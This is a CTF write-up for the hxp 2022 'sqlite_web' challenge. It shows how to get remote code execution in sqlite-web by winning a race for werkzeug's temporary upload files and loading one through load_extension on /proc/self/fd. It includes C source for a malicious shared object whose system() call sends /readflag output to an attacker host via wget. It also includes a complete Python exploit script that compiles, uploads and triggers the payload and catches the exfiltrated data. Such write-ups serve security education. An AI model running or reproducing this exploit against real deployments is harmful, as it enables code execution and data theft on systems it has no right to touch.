hxp CTF 2022: sqlite_web

Writeup for challenge sqlite_web of our recent CTF.

We have a docker containing the newest version of sqlite-web, a web-based SQLite database browser with the crypto SQL extension from sqlean.

We also have a database with encrypted tables.

The default SQL query is patched to

WITH bytes(i, s) AS (
    VALUES(1, '') UNION ALL
    SELECT i + 1, (
        SELECT ((v|k)-(v&k)) & 255 FROM (
            SELECT
                (SELECT asciicode from ascii where hexcode = hex(SUBSTR(sha512('hxp{REDACTED}'), i, 1))) as k,
                (SELECT asciicode from ascii where hexcode = hex(SUBSTR(encrypted, i, 1))) as v
            FROM %s
        )
    ) AS c FROM bytes WHERE c <> '' limit 64 offset 1
) SELECT group_concat(char(s),'') FROM bytes;

In order to decrypt the database entries, we have to get the flag which is stored on the server in /flag.txt, but only readable with /readflag.

The sha512 is also the reason for the crypto-extension.

How to hack

The interface runs on flask which runs on werkzeug.

Just like last time nginx, werkzeug creates temporary files for file uploads. The file only has to be bigger than 500kB:

def default_stream_factory(
    total_content_length: t.Optional[int],
    content_type: t.Optional[str],
    filename: t.Optional[str],
    content_length: t.Optional[int] = None,
) -> t.IO[bytes]:
    max_size = 1024 * 500

    if SpooledTemporaryFile is not None:
        return t.cast(t.IO[bytes], SpooledTemporaryFile(max_size=max_size, mode="rb+"))
    elif total_content_length is None or total_content_length > max_size:
        return t.cast(t.IO[bytes], TemporaryFile("rb+"))

    return BytesIO()

We are using the same technique as last time accessing /proc/self/fd/XX to load the uploaded file as an extension using

select load_extension("/proc/self/fd/XX","function_name")

The extension shared object we want to upload is pretty simple:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
    system("wget --post-data `/readflag` http://{my_host}:{my_port}");
}}

void space() {{
    // this just exists so the resulting binary is > 500kB
    static char waste[500 * 1024] = {{2}};
}}

compiled with gcc -shared rce.c -o exploit.csv.

The resulting binary, we upload using the import function.

Since the uploaded file only exists for a very short amount of time, it’s a race which we have to win.

If we do, we get the flag

hxp{load_extension(r3m0t3_c0d3_3x3cut10n)}

pow.py

#!/usr/bin/env python3

from threading import Thread
import requests
import subprocess
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import sys

EXPLOIT = 'rce.csv'

HOST = 'TODO'
PORT = 0
MY_HOST = 'TODO'
MY_PORT = 0

def send_rce():
    print('[+] uploader started', file=sys.stderr)
    while True:
        r = requests.post(url=f"http://{HOST}:{PORT}/gz/import/",
        files={
            'file': open(EXPLOIT, 'rb')
        })
        print(r.status_code, "UPLOAD", file=sys.stderr)

def call_rce(fd):
    print('[+] caller started', file=sys.stderr)
    while True:
        r = requests.post(url=f"http://{HOST}:{PORT}/gz/query",
        data={
            "sql": f"""select load_extension("/proc/self/fd/{fd}","flag")"""
        })
        print(r.status_code, "CALL", file=sys.stderr)

def compile_exploit():
    with open("rce.c", "w") as f:
        f.write(f"""
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
    system("wget --post-data `/readflag` http://{MY_HOST}:{MY_PORT}");
}}

void space() {{
    static char waste[500 * 1024] = {{2}};
}}
""")
    r = subprocess.run(["gcc", "-shared", "rce.c", "-o", EXPLOIT])
    if r.returncode != 0:
        exit(-1)

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_len = int(self.headers.get('Content-Length'))
        flag = self.rfile.read(content_len)
        print(flag.decode())

class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
    pass

def server():
    print('[+] http server started', file=sys.stderr)
    server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler)
    # we only need to handle one response
    server.handle_request()
    server.shutdown()

if __name__ == "__main__":
    compile_exploit()

    s = Thread(target=server, daemon=True)
    s.start()

    t1 = Thread(target=send_rce, daemon=True)
    t1.start()
    for i in range(7, 8):
        t2 = Thread(target=call_rce, daemon=True, args=(i,))
        t2.start()

    s.join()